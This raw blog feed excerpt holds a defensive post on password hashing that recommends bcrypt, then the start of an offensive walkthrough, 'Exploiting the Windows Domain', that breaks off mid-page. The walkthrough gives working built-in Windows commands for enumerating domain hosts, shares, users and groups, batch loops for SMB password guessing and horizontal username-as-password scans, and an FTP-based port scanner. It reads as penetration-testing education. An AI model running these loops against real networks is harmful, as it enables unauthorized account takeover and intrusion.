the &lt;i&gt;crypt&lt;/i&gt; one-way cryptographic hashing function.&amp;nbsp; As one can imagine, the processing power back
then was significantly less than that of current day standards. With &lt;i&gt;crypt&lt;/i&gt; only
being able to hash fewer than 4 passwords per second on 1976 hardware, the
designers of the Unix operating system decided there was no need to protect the
password file as any attack would, by
enlarge, be computationally infeasible. Whilst this assertion was certainly
true in 1976, an important oversight was made when implementing this design
decision: Moore’s Law.&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Moore’s Law states that computing power will
double approximately every two years. To date, this notion has held true since
it was first coined by Gordon Moore in 1965. Because of this law, we find that
password hashing functions (such as &lt;i&gt;crypt&lt;/i&gt;) do not withstand the test of time as
they have no way of compensating for the continual increase in computing power.
The problem we find with cryptographic hashing functions is that whilst
computing power continually increases over time, password entropy (or
randomness) does not. &lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
If we fast-forward to the
current day environment we see that not much has changed since the early
implementations of password hashing.&amp;nbsp; One-way
cryptographic hashing functions are still in widespread use today, with SHA-1,
SHA-256, SHA-512, MD5 and MD4 all commonly used algorithms. Like &lt;i&gt;crypt&lt;/i&gt; on the
old Unix platform, these functions have no way of compensating for an increase
in computing power and therefore will become increasingly vulnerable to
password-guessing attacks in the future.&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Fortunately, this problem
was solved in 1999 by two researches working on the OpenBSD Project, Niels
Provos and David Mazieres. In their paper, entitled ‘&lt;a href=&quot;http://static.usenix.org/event/usenix99/provos.html&quot;&gt;A Furture-Adaptable Password Scheme&lt;/a&gt;’, Provos and Mazieres describe a cost-adaptable algorithm that adjusts
to hardware improvements and preservers password security well into the future.
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Based on Bruce Shneier’s
blowfish algorithm, EksBlowfish (or expensive key scheduling blowfish), is a
cost-parameterizable and salted block cipher which takes a user-chosen password
and key and can resist attacks on those keys. This algorithm was implemented in a
password hashing scheme called&lt;i&gt; bcrypt&lt;/i&gt;.&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Provos and Mazieres
identified that in order for their &lt;i&gt;bcrypt&lt;/i&gt; password scheme to be hardened
against password guessing, it would need the following design criteria:&lt;/div&gt;
&lt;div class=&quot;MsoListParagraphCxSpFirst&quot; style=&quot;mso-list: l0 level1 lfo1; tab-stops: center 3.25in; text-indent: -.25in;&quot;&gt;
&lt;/div&gt;
&lt;ol&gt;
&lt;li&gt;&lt;span style=&quot;text-indent: -0.25in;&quot;&gt;Finding
partial information about the password is as hard as guessing the password itself.
This is accomplished by using a random salt.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;text-indent: -0.25in;&quot;&gt;The
algorithm should guarantee collision resistance.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;text-indent: -0.25in;&quot;&gt;Password should not be hashed by a single
function with a fixed computational cost, but rather by of a family of functions
with arbitrarily high cost.&lt;/span&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;The first two points here
are fairly standard among password hashing algorithms. The last point, however,
is somewhat of a different concept to what we are used to seeing.&lt;/span&gt;&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
If we think about cryptographic hashing functions
in use today - be it MD5, SHA-1, or MD4 - we notice they all have one thing in
common: speed. Each of these algorithms is incredibly quick at computing its
respective output. As hardware gets better, so too does the speed at which
these algorithms can operate. Whilst this may potentially be seen as a positive
thing where usability is concerned, it is certainly an undesirable trait from a
security standpoint. The quicker these algorithms are able to compute their
output, the less time it takes for the passwords to be cracked.&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Provos and Mazieres were
able to solve this problem by deliberately designing&lt;i&gt; bcrypt&lt;/i&gt; to be computationally
expensive. In addition, they introduced a tunable cost parameter which is able
to increase the algorithm’s completion time by a factor of 2 each time it is
incremented(effectively doubling the time it takes to compute the result). This
means that &lt;i&gt;bcrypt&lt;/i&gt; can be tuned (i.e. incremented every 2 years) to keep up with
Moore’s Law.&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Let’s have a quick look at
how bcrypt compares against other hashing algorithms. Let’s say we have a list of
1000 salted SHA-1 hashes that we wish to crack. Because they are salted, we can’t
use a pre-computed list of hashes against this list. We can, however, crack the
hashes one by one. Let’s say on modern hardware it takes a microsecond
(000000.1 seconds) to make a guess at the password. This means that per second we
could generate 1 million password guesses per hash.&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
In contrast, say we have the
same list but instead of SHA-1 the hashes have been derived using bcrypt. If
the hashes were say computed with a cost of 12, we are able to compute a
password guess roughly every 500 milliseconds. That is, we can only guess 2
passwords a second. Now if you think we have 1000 password hashes, we can only
generate 7,200 guesses per hour. As it would be more efficient targeting all
1000 hashes (as opposed to just one), we would be limited to approximately 7
guesses per hash.&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Below is the output of a
quick program I created to display the time it takes to compute a bcrypt
comparison as the cost value is incremented. The test was conducted on a RHEL
system running a Xeon X5670 @ 2.9Ghz with 1024MB of memory.&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNyZtsrzzMcvitGOqIijladAfABjhPp2fUCQM5RR0m7wdqUkOFkCFO8yynQhMZIDteWZO5izitsZ2Ca02XUaOewGvK6NKcO69b2QEE4UWtpiJYUpV4N1UVcds-uIxB5tt48NsYVhEnQqM/s1600/Capture.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;173&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNyZtsrzzMcvitGOqIijladAfABjhPp2fUCQM5RR0m7wdqUkOFkCFO8yynQhMZIDteWZO5izitsZ2Ca02XUaOewGvK6NKcO69b2QEE4UWtpiJYUpV4N1UVcds-uIxB5tt48NsYVhEnQqM/s320/Capture.PNG&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
The source code for this program can be found &lt;a href=&quot;http://pastebin.com/d5vu3tdj&quot;&gt;here&lt;/a&gt;.&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
The&lt;i&gt; bcrypt&lt;/i&gt; password hashing
scheme is currently available in many languages including Java, C#,
Objective-C, perl, python, and Javascript among others.&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
I hope this post highlights the importance of using stronger password hashing schemes for modern day applications.&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://www.defenceindepth.net/feeds/2385588089534172893/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.defenceindepth.net/2012/06/password-hashing-best-practice.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/248147735868857337/posts/default/2385588089534172893'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/248147735868857337/posts/default/2385588089534172893'/><link rel='alternate' type='text/html' href='http://www.defenceindepth.net/2012/06/password-hashing-best-practice.html' title='Password Hashing: Best Practice'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNyZtsrzzMcvitGOqIijladAfABjhPp2fUCQM5RR0m7wdqUkOFkCFO8yynQhMZIDteWZO5izitsZ2Ca02XUaOewGvK6NKcO69b2QEE4UWtpiJYUpV4N1UVcds-uIxB5tt48NsYVhEnQqM/s72-c/Capture.PNG" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-248147735868857337.post-3140124944974335836</id><published>2012-05-22T06:43:00.000-07:00</published><updated>2020-01-05T06:52:28.663-08:00</updated><title type='text'>Exploiting the Windows Domain</title><content type='html'>A common recommendation I often come across is that Internet-facing systems should not be a part of an active Windows domain. As an exercise of interest, I have decided to look at this topic a little deeper and explore what advantage (if any) access to a domain member really provides.&lt;br /&gt;
&lt;br /&gt;
In this scenario I will demonstrate how to gain privilege within a Windows domain using only the tools available on a default Windows install. I will be working under the assumption that:&lt;br /&gt;
&lt;ol&gt;
&lt;li&gt;I have access to a public terminal (or something similar) with up-to-date anti-virus.&lt;/li&gt;
&lt;li&gt;I do not have administrative access on the host.&lt;/li&gt;
&lt;li&gt;I do not have access to any third-party tools.&lt;/li&gt;
&lt;/ol&gt;
Once connected to a Windows workstation, the first piece of information I want to find is the domain namespace. This can be done a couple of different ways:&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;&lt;b&gt;nbtstat –A &amp;lt;IP-Address&amp;gt;&lt;/b&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhnpIgwuX1eC-MLxKxGTR04qgxL_8_wnVMXFzD05jm2GHRu_F8GSlxyXrs7n9tQm11gXl80Wg3L-qYkv2Kuo4EcEwzk-fGycLBje-aOi1JECYPLgOIk9_q7uwywUQ_ElBuuKysTgXv0tTc/s1600/1-alt.JPG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;315&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhnpIgwuX1eC-MLxKxGTR04qgxL_8_wnVMXFzD05jm2GHRu_F8GSlxyXrs7n9tQm11gXl80Wg3L-qYkv2Kuo4EcEwzk-fGycLBje-aOi1JECYPLgOIk9_q7uwywUQ_ElBuuKysTgXv0tTc/s320/1-alt.JPG&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;&lt;b&gt;net config workstation&lt;/b&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2uuN5nxPiEmZ_NAmMODc4cn3b1OaPiBKS0J5I2i-FCE9XhVj9id6Ejn8M_HFqRuW0k0d8wd8RxdGJs33IPuTS8QDch5Tvz-s8S0gVWgYRV73LyYQWDNiLHo6dGUvfBG2ioOLLsn7iDhQ/s1600/2-alt.JPG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;170&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2uuN5nxPiEmZ_NAmMODc4cn3b1OaPiBKS0J5I2i-FCE9XhVj9id6Ejn8M_HFqRuW0k0d8wd8RxdGJs33IPuTS8QDch5Tvz-s8S0gVWgYRV73LyYQWDNiLHo6dGUvfBG2ioOLLsn7iDhQ/s320/2-alt.JPG&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Next, because I am working from a domain member, I can query the domain controller and check whether it’s aware of any additional domains:&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;&lt;b&gt;net view /domain&lt;/b&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh5X_wNgGm7CEHrB_UgKv-QEK7RdyCeP48vepJh0wXKqaMxKAWW-NBazAwMgAcQnIi3-ym82zWsVAFUkGQ2-CWQDMLcaJ1AokjM8th89smK661onjLG6Ke4BbBTzdNo9sXX7C6KHqkF37k/s1600/3-alt.JPG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;159&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh5X_wNgGm7CEHrB_UgKv-QEK7RdyCeP48vepJh0wXKqaMxKAWW-NBazAwMgAcQnIi3-ym82zWsVAFUkGQ2-CWQDMLcaJ1AokjM8th89smK661onjLG6Ke4BbBTzdNo9sXX7C6KHqkF37k/s320/3-alt.JPG&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
*Note: It is often advantageous to target other domains such as those used for testing and development. These environments will often contain hosts where less emphasis is placed on security.&lt;br /&gt;
&lt;br /&gt;
Next I am interested in knowing what hosts exist on the domain. For this, I can query the domain controller:&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;&lt;b&gt;net view /domain:&amp;lt;DOM&amp;gt; &amp;gt; hosts.txt&lt;/b&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOusYOMcuvkFtOvzhrDmxM3kkuwuujuFzFN3Qzp5Pq95YyEatJ78w-EtPGkIkfJydpTpubcV8vZsdlV_2KQzLclj4o_a2C4rw8Ig9FrzyG3Is8f1CjuclbjARtO7Q0tEkNBPwMPXZJfm4/s1600/4-alt.JPG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;276&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOusYOMcuvkFtOvzhrDmxM3kkuwuujuFzFN3Qzp5Pq95YyEatJ78w-EtPGkIkfJydpTpubcV8vZsdlV_2KQzLclj4o_a2C4rw8Ig9FrzyG3Is8f1CjuclbjARtO7Q0tEkNBPwMPXZJfm4/s320/4-alt.JPG&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Depending on the size of the network this listing can get quite large. I have redirected the output into a text file to prevent continually query the domain controller.&lt;br /&gt;
&lt;br /&gt;
*Note: This command will not typically respond with every Windows host on the network. Only hosts available via NETBIOS are known to the domain controller.&lt;br /&gt;
&lt;br /&gt;
Because I’m on a Windows domain, I can be fairly certain some machines will have file sharing turned on. &amp;nbsp;Large networks are often host to a myriad of file shares with “interesting” data on them. It’s not uncommon to find personally identifiable information or even login credentials sitting on workstation or server shares.&lt;br /&gt;
&lt;br /&gt;
To obtain a list of systems with active shares I can query each domain member by using:&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;&lt;b&gt;for /f %i in (hosts.txt) do @(net view \\%i &amp;gt;&amp;gt; shares.txt 2&amp;gt;nul)&lt;/b&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh25Y7vAAQVObTqek3dd5KBBhqouYV7PFJe-29yM2XA8Jz7XZFQ9YCtM_g2RzdsxWGgeboXk36wRBSW9TFgW6ksRtfthlPVrZEYvDLmfxZDxvCj1oYW3L99Boea5fZezvZfvQoNNB5N8lU/s1600/5-alt.JPG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh25Y7vAAQVObTqek3dd5KBBhqouYV7PFJe-29yM2XA8Jz7XZFQ9YCtM_g2RzdsxWGgeboXk36wRBSW9TFgW6ksRtfthlPVrZEYvDLmfxZDxvCj1oYW3L99Boea5fZezvZfvQoNNB5N8lU/s320/5-alt.JPG&quot; width=&quot;244&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
This command will loop over the file containing the domain members (obtained from the previous command) and query each host for open shares. Any errors (i.e. inaccessible systems) are discarded.&lt;br /&gt;
&lt;br /&gt;
As previously mentioned, in some cases you may get lucky and find exactly what you’re looking for within these shares. For the sake of this exercise, however, let’s assume there was nothing interesting found.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisESHcJY-bzeXHpVF8sIGe_2T5d3uuOGmuLCwO1Gf3ocZ8dijYxa0dclfSe_8e-p2GuFHJhyphenhyphenVgAknNTUsJII9WfZ_MsyAJJDjtSQNyp4wXf6o_AQ5XITDp_CuB6aKMjXBAqw0M19cdt4w/s1600/6-alt.JPG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;311&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisESHcJY-bzeXHpVF8sIGe_2T5d3uuOGmuLCwO1Gf3ocZ8dijYxa0dclfSe_8e-p2GuFHJhyphenhyphenVgAknNTUsJII9WfZ_MsyAJJDjtSQNyp4wXf6o_AQ5XITDp_CuB6aKMjXBAqw0M19cdt4w/s320/6-alt.JPG&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Next I am interested in what users and groups exist on the domain. The goal here is to elevate my privileges on the domain (remember, I only have ‘User’ rights on one system thus far). To obtain a list of domain users and groups I can query the domain controller as follows:&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;&lt;b&gt;net user /domain &amp;gt; users.txt&lt;/b&gt;&lt;/span&gt;&amp;nbsp;&lt;/blockquote&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;&lt;b&gt;&lt;/b&gt;&lt;b&gt;net group /domain &amp;gt; groups.txt&lt;/b&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;br /&gt;
Once this information is gathered I want to look for “interesting” user accounts. Usernames containing the words “temp”, “test”, “tst”, “tmp”, &quot;helpdesk&quot;, &quot;ftp&quot; are all of interest here as testing and temporary accounts often have simple passwords.&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;&lt;b&gt;type users.txt | find “test”&lt;/b&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;br /&gt;
If there are no stand-out usernames in the list above I can direct my efforts on querying the groups:&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;&amp;nbsp;type groups.txt | find “helpdesk”&lt;/span&gt;&lt;/b&gt;&lt;/blockquote&gt;
&lt;br /&gt;
The domain controller can then be queried to dump the users belonging to that group:&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;&lt;b&gt;net group “helpdesk” /domain&lt;/b&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiibte7rh3gigFqCwWkUIY4ihIaiF6GY5q-5sVbemWw6bHGKFq55zJTP4TlxD-MKJV3m5xxLQdrNKDBoLq4fW0rYlXATpUBEaWrpN_LxN8np6aDqNrvJoBU-h8yX48-y8a3TIBgNhl-nYU/s1600/Capture.JPG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;146&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiibte7rh3gigFqCwWkUIY4ihIaiF6GY5q-5sVbemWw6bHGKFq55zJTP4TlxD-MKJV3m5xxLQdrNKDBoLq4fW0rYlXATpUBEaWrpN_LxN8np6aDqNrvJoBU-h8yX48-y8a3TIBgNhl-nYU/s320/Capture.JPG&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
*NOTE: I have chosen to target non-administrative accounts here as they typically have weaker passwords. However, it is certainly not unheard of to have weak passwords on account belonging to “Domain Admins”. Always worth checking :)&lt;br /&gt;
&lt;br /&gt;
Having chosen a number of domain users to target I can now attempt to compromise these accounts through password guessing. I can accomplish this through SMB connection attempts against a host on the domain. Which host I choose here doesn’t matter as authentication occurs against the domain controller and not the host itself.&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;&lt;b&gt;for /f %i in (users.txt) do @(for /f %j in (passwords.txt) do @(echo Trying %i:%j... &amp;gt;&amp;gt; success.txt &amp;amp;&amp;amp; net use \\wombat /u:%i %j 1&amp;gt;&amp;gt;success.txt &amp;amp;&amp;amp; net use \\wombat /del))&lt;/b&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioNstrk9WZChkTKVA31VbLn1e0rULo0epjyvwb7o6si7-8nMFetTk2-h6ZpZ2Z2uJEFjslzM0Gvxz5sejaCOBxWk_bYJQF8JpvOG6mV1YKClmTDqiIA0AHqn4loiTLwmlHG1RE0eH7tyU/s1600/9-alt.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;317&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioNstrk9WZChkTKVA31VbLn1e0rULo0epjyvwb7o6si7-8nMFetTk2-h6ZpZ2Z2uJEFjslzM0Gvxz5sejaCOBxWk_bYJQF8JpvOG6mV1YKClmTDqiIA0AHqn4loiTLwmlHG1RE0eH7tyU/s320/9-alt.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
This script will loop over a list of targeted usernames (in &lt;i&gt;users.txt&lt;/i&gt;) and try simple password attempts against each account from the &lt;i&gt;passwords.txt&lt;/i&gt; file.&lt;i&gt; Success.txt&lt;/i&gt; will keep a log of successful password guesses. Keep in mind here I am only targeting the low hanging fruit. Only a few passwords are being attempted for each account as to not lock out any accounts.&lt;br /&gt;
&lt;br /&gt;
With a small adaptation this script I can choose to target every account in the entire domain:&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;&lt;b&gt;for /f %i in (users.txt) do @( echo Trying %i:%j... &amp;gt;&amp;gt; success.txt &amp;amp;&amp;amp; net use \\wombat /u:%i %i 1&amp;gt;&amp;gt;success.txt &amp;amp;&amp;amp; net use \\wombat /del)&lt;/b&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;br /&gt;
Here I am scanning the entire domain for accounts that use their username as their password. This is sometimes known as a horizontal password scan.&lt;br /&gt;
&lt;br /&gt;
The benefits of horizontal scanning become apparent in environments with a large user base. An increase in the number of accounts often improves the chances of discovering an account with a weak password. The chance of locking out an account is also significantly decreased as only a small number of password guesses are attempted against each account.&lt;br /&gt;
&lt;br /&gt;
The above script could also be tweaked to guess the password of the default local administrative account (RID 500) on the current machine. Providing this account is active, it cannot be locked out (meaning infinite password guesses).&lt;br /&gt;
&lt;br /&gt;
Once credentials have been acquired for a domain account the next step is to find out what access the account has. Indeed, it may be the case that only a particular service on a particular host is accessible from the captured account.&lt;br /&gt;
&lt;br /&gt;
The next step in this process is to find out what services are available on the domain. This would be quite simple with nmap... but remember, we don’t have access to any third-party tools! To get around this I have adapted Ed Skoudis’ FTP command line port scanner:&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;&lt;b&gt;for /f %i in (hosts.txt) do @(for /f %j in (ports.txt) do @(echo Checking %i:%j... &amp;amp; echo %i:%j &amp;gt;&amp;gt; success.txt &amp;amp; echo open %i %j &amp;gt; commands.txt &amp;amp; echo quit &amp;gt;&amp;gt; commands.txt &amp;amp; ftp -n -s:commands.txt 1&amp;gt;&amp;gt;success.txt))&lt;/b&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjcMXIlnumKnmOU8imhHGx2NwBksYZey4DqTW2sbzLt4EYDtktV3Avr09CZFmcghX9J9aW9XrauOi5rWhmb5ceU3AghvVkQNPMU0q9abXWT012w96hn-wZBMqXHcfVnb6xSR8E93OBPmPw/s1600/7-alt.JPG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjcMXIlnumKnmOU8imhHGx2NwBksYZey4DqTW2sbzLt4EYDtktV3Avr09CZFmcghX9J9aW9XrauOi5rWhmb5ceU3AghvVkQNPMU0q9abXWT012w96hn-wZBMqXHcfVnb6xSR8E93OBPmPw/s320/7-alt.JPG&quot; width=&quot;280&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
This script attempts to make a connection to each port in &lt;i&gt;ports.txt &lt;/i&gt;(I&#39;ve chose 21\ftp)&amp;nbsp;for every domain member in &lt;i&gt;hosts.txt&lt;/i&gt; (found at the beginning of this exercise). It uses the built-in Windows FTP client to read in commands (-s flag) from commands.txt to make each connection. Logging information is stored in &lt;i&gt;success.txt&lt;/i&gt;.&lt;br /&gt;
&lt;br /&gt;
Once the available network services have been mapped I can then attempt to exploit / gain access to these services:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
